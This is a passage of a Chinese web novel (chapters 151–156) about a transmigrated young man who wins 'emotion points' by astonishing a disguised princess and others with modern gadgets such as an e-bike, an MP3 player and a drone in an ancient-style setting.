侯茂杰连忙上前一步,一脸正色道:“许小姐可还记得,那日在湖畔红雀亭中,咱们都见过的那位老者
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?”
“记得。”
许灵嫣自然记得。
那老者虽然一副农人模样,但其气质与风骨,却好似带着一丝洒脱的仙气。
“今晨我和徐坤带人去打探了一番,您猜怎么着?”侯茂杰继续开口道,“有人认识那老者,直言他便是三十年前名震大乾的‘江南双杰’之一,与归雁先生其名的入云居士!”
“!!”
许灵嫣瞳孔一缩,一双明眸瞬间瞪得浑圆。
惊意自心底升腾直上!
果然,当日她的第一反应没有错,那位一身苍凉的老先生,真的是入云居士!
这……
没想到啊没想到,让小汐苦寻不得的外公,曾经人人称颂的绝世天才,如今居然扮作农人一位,就这样隐居在镜湖之畔!
而她不过是跟随一下江云帆,便见到了对方!
心中感到无比震惊的不止许灵嫣,江元勤也同样愣在原地。
照这么说,“入云归雁”两位大儒,都齐聚在这小小的镜源县!
“许小姐,还有更重要的一点。”
就在这时,侯茂杰又一次开口,声音里带着几分沉重。
“那透露消息之人,乃是当地的一名钓佬。据他所称,入云居士经常与秋思客栈的一名小厮相约一同在湖边垂钓,两人的关系十分密切!”
许灵嫣微微一怔。
很快又点点头:“那日在红雀亭,我已然看出来了,入云居士称呼江云帆为小友。”
“那就一切都解释得通了!”
许灵嫣尚未反应过来,旁边的江元勤便已惊呼出声。
他一脸兴奋地转过头,对着许灵嫣解释道:
“许小姐你想,近日出现的这几首诗词,堪称千年难遇!你我心里都清楚,那绝不可能出自江云帆这种废物之手!所以真相便是……”
“入云居士!”
之一片刻,许灵嫣完全瞪大眼睛。
……
第151章 她不会赖着不走吧
“哈哈哈哈……”
客栈大堂门口,江元勤的大笑声可谓猖狂。
太好了!
在知道江云帆依旧是那个废物的这一刻,江元勤只感觉浑身上下都无比舒坦。
这种快感,仅次于自己当初高中进士之时!
所以,他接下来要做的,就是把真相公之于众,让那些受到江云帆蒙蔽的人,看清此人的真正面目!
想到这,他又对许灵嫣抱拳道:“既然真相大白,那么许小姐,在下有一事相求。”
说话之间,他伸手拿出了一张锦帛,双手奉给许灵嫣。
“这是我亲手所创之词文,凝聚毕生之才,本想以其参加镜湖文会,奈何错过时机。所以……烦请许小姐,帮我带给郡主殿下!”
“好。”
许灵嫣这会正高兴,一口便答应下来,“正巧我也要去找郡主,说明江云帆之事。”
她接过江元勤递来的锦帛,转身招呼小缘:
“走,回王府楼舫。”
……
“阿嚏!”
此时此刻,镜湖之岸,三号码头路口。
正将半个身子趴在电动车车头上的江云帆,狠狠打了个喷嚏。
他连忙直起腰来,一脸严肃。
好好好……
江元勤是吧?许灵嫣是吧?侯茂杰是吧?王承德是吧?陈子钧是吧?
不管你们谁在背后骂我……
“反弹!”
江少爷果断伸出一根手指,直指前方的空气。
然而就在指尖的位置,两道身影正顺着王府楼舫的舷梯,一步步走过来。
终于,等了这老半天,财神爷总算来了。
江云帆本来还想抱怨一番,女人出门就是事儿多!
可当看清秦七汐那一身装束打扮之后,又把吐槽的话硬生生咽了回去。
雪白的束腰长裙,衬着那盈盈一握的腰肢,曼妙的曲线自高耸的胸前向下,陡然变低,又在临近腰胯处逐渐升高,勾勒出挺翘的臀部与修长的大腿……
当真是该凸的地方凸,该凹的地方凹!
关键头上的装饰更是耀眼得紧。
长发一部分盘于头顶,一部分又在背后如瀑般垂落而下,额前发丝与那耳后的银色流苏,随微风一同轻摇。
脸上并无浓妆,但依旧色泽红润。五官精致如天工,大杏眼樱桃唇,美得不可方物。
只可惜,面无表情,目光呆滞,看什么都好似没有精神,说不出到底是高冷,还是厌世。
不过在步履翩翩,慢慢走近之后,与江云帆眼神接触的一刹那,那双漂亮的眸子里又突然多出了几分神采。
“实在抱歉,让江公子久等了。”
秦七汐上来便是微微一笑,低首称歉。
可谁知旁边的墨羽翅膀硬了,竟当着她的面拆台:“衣服都试了好几套,能不久等吗……”
郡主殿下冰冷的眼神袭来,吓得墨羽连忙住嘴。
这时江云帆也开口了,摆摆手表示无妨,随即直击重点:“秦小姐所说的令符,可有找到?”
“找到了。”
秦七汐连忙从袖口中取出一块三指宽的金质令牌,递给江云帆。
江云帆接过之后,仔细一看,发现在那令牌之上,还铸有一道张牙舞爪的虎形图案,十分威武霸气。
以他上辈子看古装电视剧的经验,这东西就像那种可以调兵遣将的虎符。
“有了这东西,就可以对墨羽姑娘发号施令了,对吗?”江云帆把那令符拿在手里把玩,看得墨羽眉头直皱。
秦七汐点头:“对,任何命令,她都会服从。”
“那好。”
江少爷大手一张,将那令符对准墨羽的面门,一脸正色道:“墨羽,学声狗叫来听听。”
“扑哧……”
小郡主一个没绷住,在旁边掩嘴而笑。
倒是墨羽本人气得面色愠红,咬牙切齿:“江云帆你想死吗?”
“……”
江云帆顿时无语住了。
他转头看向秦七汐,一脸茫然:“我说秦小姐,你这令符似乎也不太好使啊?”
秦七汐立马收敛笑容,转而露出一抹尴尬。
“应该是我在场的时候,墨羽可以不受令符差遣。”
“行吧行吧。”
江云帆耸耸肩,一脸勉为其难。
墨羽在旁边看他一副得了便宜还卖乖的样子,心里那是气得不行。
江云帆啊江云帆,你知不知道你手里拿的这块令牌,究竟有多重要啊?
郡主说得对,我作为她的贴身护卫,确实不受令符调遣。
但你可知道,有了这块令符,就完全有资格调遣南毅王府的三千龙念铁骑,那可是王爷费尽心思精力,为郡主打造和训练的江南第一强军!
虽然数量只有三千,可其中的每一名将士,都是千里挑一的武道高手!
成军之后,哪怕是帝国规模最大的天策军,也要畏惧三分。
多的不说,光这一支军队,就足以让当今陛下日夜忧心。
龙念铁骑原本只听从王爷和郡主两个人的命令。
但王爷为郡主考虑得太多了,他甚至想到了有朝一日自己身死,郡主无力指挥这支军队,所以特地打造了这一枚龙念令符。
打算让郡主,将其交给自己最信任的人。
墨羽是怎么也想不明白的。
郡主一向对此不感兴趣,这些年来,甚至连一次莅临龙念铁骑军营的记录都没有,可偏偏在今日,将如此贵重的令符,交给了一个刚认识不久的落魄子弟——江云帆。
难不成,真被这家伙给迷住了?
“江公子,你接下来可有空暇?”
在江云帆收好令符后,秦七汐睁着一双漂亮眼眸盯着他,目光里明显带着几分希切。
见她这样子,江云帆心里顿时一咯噔。
他算是看出来了,今日这财神爷妹子,是打算一直赖着他了。
江少爷诚然是爱自由,不喜欢约束的。
可刚刚伸手拿了人家的东西,手已经短了,又怎么好意思拒绝?
没办法,江云帆只得无奈一笑:“倒不是很忙,秦小姐还有别的事?”
“嗯……”
秦七汐轻应一声,点点头。
随即,她伸手指向东面的远方:“方才在客栈,我从窗口看见那座山上有桃林,漫山遍野……想去看看。”
顺着小郡主纤细修长的玉指看去,江云帆暗道不妙。
那方向,不正是他的住处,桃花山的所在吗?
……
第152章 秦小姐要听歌吗
江云帆最终还是没能拒绝秦七汐。
这姑娘眼睛里好像带着魔力,看着无喜无悲,无欲无求,好像也没多么想要去的样子,却偏偏让人无法招架。
好在此去桃花山,道路还算平整,一辆电动车即便载着人,也能轻松深入桃林。
“小姐要不还是乘马车吧……”
眼看秦七汐就要上江云帆的小电驴儿,墨羽心头说不出的担忧。
她总觉得这种两轮车不够安全。
甚至到现在都不明白,这玩意儿明明在平地上都放不稳,而奔行起来之后,又是如何掌握平衡的?
更重要的一点在于,殿下此刻可是穿着裙子的!
诸多不便,又如何避免与江云帆肌肤相亲?郡主的名誉与威严,是绝对不容亵渎的!
秦七汐自然明白墨羽的意思。
她转头看向冷面侍卫,直言道:“好好骑你的马。”
“……”
墨羽无奈,只得翻身上面,继续跟着。
不过坐在江云帆身后,秦七汐倒是换了个侧坐的姿势,两条长腿并在一起,面朝镜湖,身体随车子的颠簸而微微晃动。
湖景茫茫,远方的水面偶有白雾升腾。
清风拂来,温润柔软,她喜欢这样的感觉,也享受此刻的静谧……
若是眼下,再有琴曲歌舞作伴,那就更有一番风味了。
秦七汐从小接触的娱乐项目并不多,故而在她心里,弹弹琴,听听曲,跳上或观上一支舞,就已经是很惬意的生活了。
思及此,她不禁想到了昨晚那首词曲。
忍不住点评道:“江公子的琴曲造诣,小女子很是佩服。”
江云帆闻言,自然知道她在说什么。
于是开口回应:“秦小姐的琴声与歌喉,才是在下见过最为动听的!”
这一点他完全没说大话。
先前在客栈听到秦七汐翻唱《明月几时有》,他俨然觉得,这姑娘妥妥的古代小天后!
其实江云帆也猜到她突然弹唱一曲的目的。
就是为了应对江元勤的发难,反驳对他的贬低,只是没想到,最后却是翩翩登了台,抢先一步。
“秦小姐对声乐感兴趣,要不要听听歌?”
“听歌?”
秦七汐一愣,转而眼神中露出一抹希冀,“江公子可以唱吗?”
“我不唱,陪你一起听。”
秦七汐纳闷了:“这会正在行路,无琴无曲,如何一起听得?”
“简单,等着哈……”
【叮,兑换‘高清MP3音乐播放器(自选五首歌曲)’成功,扣除情绪值2000点,当前余额:6328。】
随着一道系统铃声响起,江云帆的两千点情绪值,离他而去。
不得不说,这东西是真的贵。
若是在上辈子,逛逛并夕夕,叠叠券,九块九包邮就能拿下。而到了系统商城里,售价都快追上打折后的太阳能发电机了!
倒是江云帆也没多么心痛,毕竟要想可持续发展,有些投资是必须的。
MP3到手后,可以自选五首歌曲。
也不是必须得一次选完,可以想什么时候选就什么时候选。
所以当下他思来想去,最终只选了一首方便秦七汐听懂的古风歌。
在秦七汐看不见的角度,江云帆把MP3偷偷从系统商城中取出来,随后递了其中一只耳机过去。
“把这个,塞在耳朵里。”
“好。”
虽然看不懂这指甲大的白色小东西是什么,也不知道如何用它听歌,但江云帆说的话,秦七汐会下意识地选择相信。
只不过连接这小东西的软线稍微有点短,一端又在江云帆手里攥着。
够不着,她只能稍稍挪动屁股,往前靠拢了些。随即又偏过脑袋,这才成功将其塞入左耳。
其实江云帆也挺无语的。
一个MP3,卖这么贵,却连个无线耳机都不肯送,带个有线耳机,多不方便?
虽然……感受着秦七汐肩膀靠在自己后背,确实挺柔软。
他将另一只耳机塞进了自己耳朵里。
随后一边单手驾着车,一边启动了音乐播放器……
这会秦七汐本来还懵懵的,目光望着烟波缭绕的镜湖,耳朵里空无寂寥,只能听见自己的声声心跳。
恰在此时,一阵清新淡雅的丝竹声,于左耳之中响起。
小郡主瞬间瞪大眼睛。
好奇妙!
那声音,正是从江云帆给她的小东西之中传出来的!
可怎么会这样?
这小小一个,豆子般大,里面既不可能装进一把弦琴,也不可能容下一位乐者,这精妙绝伦的琴声,又是如何产生的?
秦七汐不明白,但大受震撼,这完全就不可思议!
然而不可思议的还在后头。
随着那丝竹声悠扬婉转,渐入妙境,很快便迎来了短暂的间歇。
在那间歇之中,一道歌声响起——
“昨夜同门云集推杯又换盏,今朝茶凉酒寒豪言成笑谈。
半生累尽徒然,碑文完美有谁看,隐居山水之间誓与浮名散……”
……
第153章 秦七汐的第二阶段
秦七汐从来未曾经历过如此一幕。
尽管她贵为郡主,尽管她的父亲是名震人间的南毅王,尽管她身处整个天下的核心,阅过稀罕之物不计其数。
却连想都不敢想象,一个指甲盖大的小东西,能容进一首绝妙的琴乐歌曲!
此时此刻,那歌声仍在继续,随那琴声抑扬顿挫……
“湖畔青石板上一把油纸伞,旅人停步折花淋湿了绸缎。
满树玉瓣多傲然,江南烟雨却痴缠,花飞雨追一如尘缘理还乱。
落花雨你飘摇的美丽,花香氤把往日情勾起。
我愿意化浮萍躺湖心,只陪你泛岁月的涟漪……”
好词,好曲!
秦七汐只在片刻便沉醉其中。
她平生听过见过谈过太多的曲子,可还从没有哪一首,能如耳中这首一般美妙!
关键不止琴声,夹杂其中的,还有竹笛、二胡,以及某种从未听过的乐器声。如此繁杂,却成就了这般的美轮美奂!
还有那歌词也不简单。
与大乾历来以诗词为基调的风格不同,这首歌的歌词少了些工整,却多了些随性,不似那般高深玄妙,却更加自然自在。
一字一句,写的不正是眼下的江南风光吗?
还有那孑立于江南风光中的人,容身孤独,远离喧嚣,无拘无束……
那个人,不就是眼前这位迎风而行,畅然无羁的男子吗?
秦七汐想不出江云帆身上,到底还有多少异于凡尘的独特。
只知道此时此刻,在耳中小东西和那曲声歌声的双重震撼下,她的整个世界都在轰鸣!
【叮,震惊达成,来自秦七汐的情绪值:+2215!】
江云帆:“(⊙_☉)!”
这……
猛啊!
哈哈哈,果然,要想暴富,就得狠狠抱紧大腿。
对于江云帆来说,秦七汐毫无疑问就是他赚取情绪值路上最香最美的大腿。那堪称逆天级别的奖励倍率,能让他每一次出手,都能收获满满!
这不,兑换MP3花费的2000情绪值,不但当场回了本,甚至还有得赚!
就相当于白嫖了一个MP3,以及消费情绪值产生的系统升级进度。那进度当前已经来到了三万八,距离升到4级商城所需的十万点,也算是又近了一步。
江少爷心里一片舒坦。
但此刻脑海之中又一道铃声响起,直接让他的快乐更上一层。
【叮,来自秦七汐的情绪值累计超过10000点,开启第二阶段:达成震惊时,从目标处获得情绪值奖励提升50%!】
居然还有第二阶段!
没想到啊没想到,不止系统商城可以升级,获取情绪值的目标对象也能升级。
秦七汐的奖励倍率本就足够高了,再额外提升50%,那将堪称海量!
江云帆美滋滋地将MP3设置了循环播放。
而后,开始悠哉哉地欣赏耳机中的歌曲,目光看着远方的湖光山色,感受着微风吹拂,身后飘来的淡淡馨香,好不惬意自在。
只是人生一向如此,好景虽有,却不得长。
就在江云帆驾着电动车,即将经过湖边的岔路口,准备向北转弯,前往桃花山时。
来自秋思客栈的方向,几道身影的出现,意味着眼下的惬意被打破……
许灵嫣原本是在客栈之中寻找了一番,却没见到秦七汐踪影。
无奈之下,她只得带上小缘与侯茂杰两兄弟,赶回王府楼舫,打算把江云帆与入云居士的秘密全数告知。
于是,便好巧不巧地经过了这里。
四人在远远看见这飞梭而来的电动车,听见空中响起的怪异“嗡嗡”声,当即心里一惊,纷纷原地站定。
“小姐,那……那是什么东西?”
小缘伸手指着前方,下巴都快惊掉了。
倒是侯茂杰反应迅速,连忙将许灵嫣护在身后:“像是山里的大虫下来了,快往林中躲一躲!”
看外形,看肤色,那东西确实像山里的大虫。
可徐坤睁着一双小眼,却反倒视力敏锐,立马就发现不同寻常的地方。他伸手拉了拉侯茂杰的手臂:“哥,哥……你玩意儿背上,好像有人!”
“有人?”
确实有人。
许灵嫣也在此刻看清了远处的情况,赫然是一个人双手握住那东西的双角,正在青石板路上狂奔。
而那人的样貌,她更是熟悉得不能再熟悉。
正是江云帆!
“那好像不是大虫啊哥……到底是什么?”
徐坤一双眉毛都皱拢了。
侯茂杰也愣在原地不知所措,那东西确实不是大虫,更像是某种器具,由背上的人进行操控,从而在道路上奔行。
可在他的认知里,天底下哪里存在这样的器具?
而且还跑得如此飞快!
……
【叮,震惊达成,来自徐坤的情绪值:+25!】
【叮,震惊达成,来自侯茂杰的情绪值:+32!】
连续两道提示音在脑海中响起,江云帆也因此知晓了前方路口站着的是什么人。
只是他无力吐槽。
这两兄弟同样的德行,一个奖励倍率低,另一个更低,关键还尤其喜欢跳上来张牙舞爪,江少爷很多时候连打他们脸的欲望都没有。
不过好在,旁边的大冤家许小姐,还是一如既往地给力。
【叮,震惊达成,来自许灵嫣的情绪值:+328!】
很好!
除了秦七汐这个断层领先的T0之外,许灵嫣也算是倍率最高的那一档了。而且这人属于是越挫越勇的类型,哪怕被刺激了一万次,也会义无反顾地冒出来迎接下一波震惊。
“呼……”
这时,路边的许灵嫣长吐了一口气。
似乎是强行遏制住了心头的震撼,她把脸一沉,冲着迎面而来的电动车便吼:“江云帆,你给我站住!”
江云帆本不想搭理她,奈何对方几人在发现是他之后,竟直接走上来拦截。
一如既往的霸道!
无奈之下,江少爷只得摁住刹车,控制小电驴缓缓停在路中间。
他拔掉耳机,皱眉看向许灵嫣:“又有什么事?”
许灵嫣盯了两眼他脚下的电动车,目光里闪过一丝谨慎。
这玩意太奇怪了,个头不大,却能在路上飞驰,速度丝毫不亚于骏马。
倒是她也没在这个问题上纠结。
怪东西,大可以以后再论,她很清楚自己眼下要的是什么。
所以很快恢复了平静,嘴上冷冷一笑:“江云帆,你有没有尝过谎言被拆穿的滋味?”
江云帆不知道这女人又要搞什么幺蛾子,他也不想回答,于是直接选择了无视。
但这并不影响许灵嫣表达自己想说的话:
“告诉你吧江云帆,你盗用别人的作品,为自己谋取名利,这事我已经掌握了证据,若不想身败名裂,你最好乖乖听我的话!”
“还有这事?”
江云帆一脸不信。
他当然不信,难不成许灵嫣当真神通广大,还能知道他是穿越者,而那些诗词都是来自另一个时空?
“我只奉劝一句,如今的你,所有底牌都没了,不如把那茅台酿的酒方交给我,我许家有能力给你想要的荣华!”
“还有,别以为小汐会保你,她喜欢的只是那些诗词。”
“当知道所有作品都不是你写的,你在她眼里将会一文不值!”
许灵嫣挑眉瞪眼,越说声音越激动。
而就在话音落下之后,一直躲在江云帆背后听歌的秦七汐,终于探出头来。
她并不知道前方拦路的是许灵嫣,只觉得很吵,吵到她听歌了。
于是将那一双秀眉皱紧,满脸写着烦闷。
可那张倾城绝世的脸刚一展露在众人面前,空气便直接陷入凝滞。
许灵嫣瞳孔一收。
侯茂杰等人,更是直接扼住呼吸。
……
第154章 秦小姐可认得临汐郡主
昨夜歌舞会上,侯茂杰见到翩翩姑娘那一刻,认为看见了世间最美的女子。
哪怕坊间有传言,称翩翩姑娘的姿色,与王府楼舫上那位被誉为“江南第一美人”的临汐郡主不相上下,都属人间绝美。
可当翩翩姑娘的歌声自船屋中响起,侯茂杰瞬间沉醉其中,便认定翩翩姑娘比临汐郡主尤有甚之。
当为“大乾第一美人”!
但现在他发现自己错了。
原来,真正的第一美人,此时此刻正坐在江云帆的身后!
侯茂杰并未见过翩翩姑娘的玉颜,也不曾见过临汐郡主的仙姿,但他通过想象的方式,为她们都创造了各自美好的外貌。可如今任他如何创造,都造不出眼前那位一般的完美无瑕!
太美了!
一身白色罗裙,长发飘然,无法用任何语言形容的神韵!
只是侯茂杰想不明白,如此一位人间仙子,为何会出现在江云帆所骑乘的这个怪东西之上?
四下无风,空气寂寒。
许灵嫣始终保持着原地僵立的状态,目光带着几分惶恐,就这么凝视着秦七汐。
先前在拦下江云帆时,她并未仔细观察对方身后的情况,以至于完全不知道秦七汐也在场。
因为她无论如何也想不到,小汐居然会与江云帆走得如此之近,如此亲密!
所以方才一番话说出口,她现在立马后悔了。
称秦七汐喜欢的不过是诗词,而江云帆在其心中一文不值,这算是背后说人坏话了吧?
关键对方还是自己的好朋友,更是堂堂郡主殿下。
秦七汐全程没有开口说话。
她只静静看着拦路的四人,眼神中除了一丝烦闷之外,再无其他情绪。
但光是这眼神,就足以让许灵嫣诚惶诚恐,喉头像是被尖骨卡住,一句话也说不出来。
“不好意思啊许小姐。”
就在这时,江云帆终于开口,打破了这份寂静,“记得我很早就说过了,你我二人道不同,注定不相为谋。你说我盗文窃词也好,说我沽名钓誉也罢,这些我都不在乎,我在乎的只有一点,那就是你……许灵嫣!”
江少爷伸手一指。
听到他的话,许灵嫣顿时一懵,秦七汐更是逐渐张开小嘴。
“请你以后别再出现在我的世界里了,懂?”
“……”
原来是这个意思。
秦七汐和许灵嫣同时松了一口气。
不过许灵嫣很快就发现了不对的地方,什么时候轮到你江云帆嫌弃我了?
她一时气得不行,但碍于秦七汐在场,倒也没有发作。
就在这时,一阵马蹄声响起,墨羽到了。
许灵嫣也只能眼睁睁看着江云帆那一脸得意的样子,拧动手间的把柄,随后身下那两轮的怪东西就像领悟了指令一般,“嗡嗡嗡”地便再一次飞奔起来。
“这江云帆……可真是性情大变!”
在江云帆驱车离开后,小缘锁紧了眉头,眼中全是不解,“小姐可还记得我们第一次上江家的时候,他一个人闷声躲在角落,连正眼看您的勇气都没有!这才过去短短三个月,他就趾高气扬到天上去了,好像根本没把小姐您放在眼里。”
许灵嫣目光茫茫。
是啊,江云帆是变了。
但她关注的重点,不是这厮性情的变化,而是发生在他身上那一件件离奇的事情。
诗词歌曲,尚且可以说是出自入云居士之手。
但那茅台酿的配方,那鸡精面,以及刚才这能够载着人来去如风的怪异器械,又是来自哪里?
难不成这家伙,撞了天运?
……
江云帆有没有撞天运不知道,狗屎运反正是撞上了。
就在小电驴儿一路攀爬登上桃花山后,眼看那大片的桃林就在眼前,却冷不防下盘一打滑,电动车瞬间失控。
还好江少爷鬼火出身,技术了得,只略微出手便稳住了倾倒之势。
回头一看,发现一坨粑粑已然被撵得稀碎。
秦七汐下车以后,也回头望了一眼,然后连忙挪开视线,轻蹙着秀眉看向江云帆。
“别看我,山野之地有这种东西很正常。”
那粑粑的形状色泽,明显就是人产的。
不过当然不是他江彦祖!
这山间就两户居所,江云帆可以肯定,这东西必然是季伯临走前留下的。
不过一想到那老家伙,忽觉这桃林之间有些冷清。
要是三个月的约定之期到了,季云苍还没回来,那估计往后的桃花山上,他就真得孤独到底了。
江云帆不禁想到了老家伙离别信上的请求。
要把信,和他留下的红匣子,一并交给他的外孙女,也就是南毅王府的临汐郡主。
念及此,江云帆忍不住看向旁边的女孩。
“秦小姐,能否向你打听一个人?”
“江公子要打听谁?”
秦七汐此刻的心情,并没有受到刚才那坨粑粑的影响。
许是周遭风光宜人,桃林漫山遍野,粉色的清风裹胁着桃香,阵阵吹入鼻尖。所以小郡主的嘴角,已然不自觉地浮现出一抹浅笑,她在享受眼下的一切。
只是听到江云帆接下来的话,那绝美的笑容瞬间便消失了。
“同样姓秦,小姐可认得那位被誉为‘江南第一美人’的临汐郡主?”
秦七汐:“……”
……
第155章 去江云帆的桃源居看看
秦七汐也不知道,江云帆为何会突然问起临汐郡主。
或许,是因为最近镜湖文会,以文招婿?
小郡主心里很纠结,眼下虽然没明说,但在她的潜意识中,无论从哪一个角度考虑,都认为文会上那首“东风夜放花千树”,就是由江云帆所投。
她之所以不问个明白。
是因为仔细想过,无论眼江云帆是不是那首词的作者,都不影响她在和对方待在一起的时候,很开心。
而现在,秦七汐既想让江云帆以文会优胜者的身份,随她一同前往怀南城。
又不想让江云帆,太过追求那个优胜。
她也不清楚自己这是怎么了。
“秦小姐?”
“哦……”
在江云帆的提醒声中,秦七汐迅速回过神来,开口答道:“临汐郡主,我和她见过不少次面。”
确实见过不少次面,每照一次镜子就见一次。
“江公子打听她,是因为……王府招婿的事?”
“自然不是。”
江云帆一脸正色,“我有一个朋友,他托我打听的,就想问问郡主殿下为人如何。”
“而且我这人呢,平头百姓一枚,没什么远大志向,更不懂如何讨好权贵。那临汐郡主何等尊贵?并非我的理想伴侣。”
他并没有在开玩笑。
来到这个世界,江云帆最大的梦想就是在享受之中苟且一生。
主角光环不一定时时有用,在一个真实的世界里,越是卷进权力的漩涡,就越容易挂掉。
若非要寻一位人生伴侣,那他也只会选择地位相当的平民女子,就目前看下来,白瑶其实是最合适的那一个。
成熟,漂亮,会照顾人……以及大。
至于眼前的绝色财神爷,确实美比天仙。虽然也姓秦,但若不是来自权力核心的家族,倒也是值得考虑的对象。
谁让她情绪值倍率那么高呢?
“为什么?”
任凭江云帆说得严肃认真,秦七汐却还是万分不解,“江公子都没有见过临汐郡主,为何笃定她不是理想伴侣?”
她皱紧了眉头,尤其刚才江云帆在说那话时,她的心没来由地慌了一下。
“因为平等很重要。”
江云帆道,“平等是相濡以沫的基础,若是不平等,就算两情相悦,也依旧存在诸多隔阂。我这人呢……还是喜欢自由一点!”
什么荣华富贵,出卖身体换来的荣华不是荣华,是罪孽!
依靠放弃尊严换来的宏楼高厦,也不过良居,而是灵魂的囚笼!
听到江云帆的解释,秦七汐沉默了许久。
她最终说服了自己,朝江云帆点点头。
是啊,江公子喜欢自由自在,她又何尝不是?
正如许灵嫣常说的,任何目的都可以通过努力达到,达不到那就是努力还不够。
她想她也应该开始努力了……
“江公子打听的临汐郡主,也许和你想象中的不太一样,我很希望你有一天,可以不加掩饰地与她见面。”
“好啊。”
江云帆皮笑肉不笑。
他倒希望能看见季云苍回来,而自己永远不用同那郡主殿下见面。
不过他自然没有明说,转而伸手一指那桃林:“走,赏桃!”
……
将近一个时辰,江云帆领着秦七汐,将山腰的桃林完整逛了一遍。
尽管桃花渐至晚期,又经过一夜风打,早不似前些日子那般艳丽芬芳。但秦七汐依旧像是小猫见了鱼,两眼放精光,仿佛每一朵桃花,都能为她带来别样的惊喜。
诚然,这里的晚桃花,比王府的更艳,也更自由。
最终两人走累了,便寻到了桃林边缘,靠近青草弥漫向下蔓延的山坡,就着一块大石头坐下。
“江公子,我还是不太明白,这小小一个器具里,为何有此般洞天?”
拿着江云帆递来的耳机,秦七汐的疑惑再上眉梢。
江云帆也不知如何向她解释,只挑了个通俗易懂的说法:“并不是有人在里面吟曲奏琴,而是提前拟好的音乐,被记录在其中,随时随地都能再现而已。”
“竟这般神奇?”
秦七汐还从未听说过,天底下居然有这样的奇物。
或者说,这根本不算是人世间的东西,更准确来讲,更像是来自天界的法宝。
“那不知其中录好的这首歌曲,叫何名称?”
“叫《山水之间》。”江云帆道,“由一位姓许的才子所创。”
秦七汐点点头,不明所以。
两人就这样坐在大石头上,一边听歌,一边欣赏山下的风景。
这个角度看得远,一大片的镜湖风光都能尽收眼底,如果不是阴云天,还能看见湖面如明镜般反射金色的阳光,天地生辉。
而一直不远不近跟着两人逛桃林的墨羽,这会站在后方的林间,一时也看迷糊了。
她看的不是风景,而是眼前的人影。
不知为何,她总觉得石头上那两个相互隔着一拳宽,时而远离又时而靠近的身影,竟如此的般配。
难道郡主对江云帆亲睐有加,实际上是对的?
不,不对!
这怎么可能?殿下乃是大乾第一郡主,就连皇宫里的许多公主见了她,都得行礼。
而反观江云帆,虽然确实与众不同,但那一首首让所有人竞相传唱的诗词,尚且不确定是不是真的由他所写,这人的人品还不敢保证。
想到这,墨羽突然有了点子。
她缓缓走出林间,靠近了两人几步。
而后开口问道:“既然都已经到这里了,那么江公子,不如请我家小姐去你的桃源居坐坐?”
“……”
江云帆闻言,顿时满脑子无语。
果然,该来的总会来。
早在抵达桃花山之前,他就考虑到墨羽曾经偷偷潜入过他的家里,轻车熟路,这会再稍加提醒,就能让他暴露自己的小窝。
江云帆真的很担心。
这财神爷妹子到了自己的桃源居,会不会赖着不走?
“江公子家住此地?”
听到“桃源居”这三个字,秦七汐也很快反应过来,当时墨羽向她汇报过。
此刻她看向江云帆的眼神,带着几分意外和好奇。
江云帆自然受不了这目光。
既然人家都已经主动提出了,那么若是再拒绝,显然就失了礼数。
“走吧,带二位去寒舍喝杯茶。”
“好!”
三人即刻动身,绕过一片密集的桃林,最终在山腰深处,见到了那所桃园小居。
夯土打造的围墙,周遭绕上了篱笆栏。
篱栏上爬满青葱的翠藤,藤上熙熙攘攘开着淡蓝色或浅红色的花朵,在悬挂着黑色牌匾的立柱旁,便是小院的门扉。
走近之时,秦七汐一眼便注意到,那块黑色牌匾上,原本写下的几句诗文已经不见了。
取而代之的,是一串串从未见过的文字——
“1234567”
“哆瑞米法索拉西”
她一脸好奇:“江公子写的是什么?”
“这个啊,七大固定音符,帮我妹妹学音乐用的。”
“学音乐……用这个?”
江云帆也没有多解释,径直上前推开了院门。
然而下一刻,只感觉心里一寒。
糟糕!
清早给无人机充完电,忘记收回屋里,此刻那东西正端端正正摆在院中的茶桌上!
……
第156章 那首词必定出自江云帆之手
镜湖文会当晚,江云帆行舟湖上,利用无人机的飞行能力,把一首《青玉案》送上了王府楼舫。
为避免写好词文的纸张被风吹走,从而落入湖中,他尽量控制无人机悬停的高度,使其距离船面大概在七八丈的样子。
当时夜色已深,天空有月光,湖面有灯火,船上的人要想看见无人机并不难。
但能否看清具体的样子,那就不一定了。
事到如今,人已经到了家门口,想避铁定是避不掉了,江云帆只能寄希望于秦七汐和墨羽没见过这玩意儿。
“秦小姐请。”
将门推开后,江云帆便对秦七汐做了个邀请的手势。
谁知秦七汐却忽地站定,一脸恍然道:“初次到访,当准备点登门礼。”
平日深居王府,她哪里操心过走亲访友要送礼这档子事?不过民间习俗她还是懂的,只是到江云帆家也是临时起兴,并未特地准备。
于是小郡主灵机一动,转头朝墨羽伸出手。
墨羽顿时一脸无语:“小姐,日常财务事宜,都是青璇在管啊。”
秦七汐在她身上扫视了一圈,随即不由分说地伸出手,从墨羽腰间摘下了那柄造型独特,通体纯黑,刀鞘上铸造着金属鳞甲的匕首。
墨羽一见,吓得脸色惨白:“小姐不可!”
那匕首可是用万年雪域寒铁打造的龙鳞刃,作为郡主的贴身护卫,由王爷亲手赐予,价值连城。
要是送给了江云帆,那她不得哭死?
但是很显然,她的郡主殿下心意已决,一句也没跟她多掰扯。
摘下龙鳞刃后,转手便捧给了江云帆。
“江公子可收下这把匕首,无论是防身还是做些刀工,都能派上用场。”
江云帆一见,心里顿时开了花。
好家伙!
这匕首,正是那日在念荷亭中,他用来在亭柱上刻字的那把。
当时他就觉得这匕首不简单,肃杀的龙鳞外形帅气逼人不说,握在手里的轻重和手感也十分合适,最重要的是削那亭柱的硬木时,就像削橡皮一样轻松。
却是没想到,秦七汐居然把它用来当做登门礼。
这波不亏!
“秦小姐真是太客气,那我就恭敬不如从命了!”
江云帆手速倒是挺快,一把便将龙鳞刃接了过来。嘴上更是王八办走读,鳖不住校了。
唯有墨羽见他这幅模样,胸中愤意滔天。
这家伙是真可恨!
江云帆领着两人进到院子,本打算直接请她们到堂屋落座,却不想,秦七汐很快便被院里那一汪小池所吸引。
小郡主满脸带着好奇,靠近水池时,还伸出雪纤柔的手掌,细细感受了一下被鼓散到空中的清凉水气。
池中鱼且十余尾,绕着那依依藻荇来回游荡。
最为神奇的还是那自动旋转的小水车,既能不断将湿气荡至空中,解去周围暑热,也能让池中之水时刻流动,让鱼儿保持鲜活。
可不借助外力,能够一直旋转,这本就匪夷所思!
莫非江公子……他会仙术?
【叮,震惊达成,来自秦七汐的情绪值:+768(+384)!】
正打算偷偷收好无人机的江云帆,被这突如其来的提示音吓了一大跳。
这情绪值来得如此容易?
这才刚一进屋,一点小小的震惊,就直接赚了一千出头,还得是财神妹子啊!
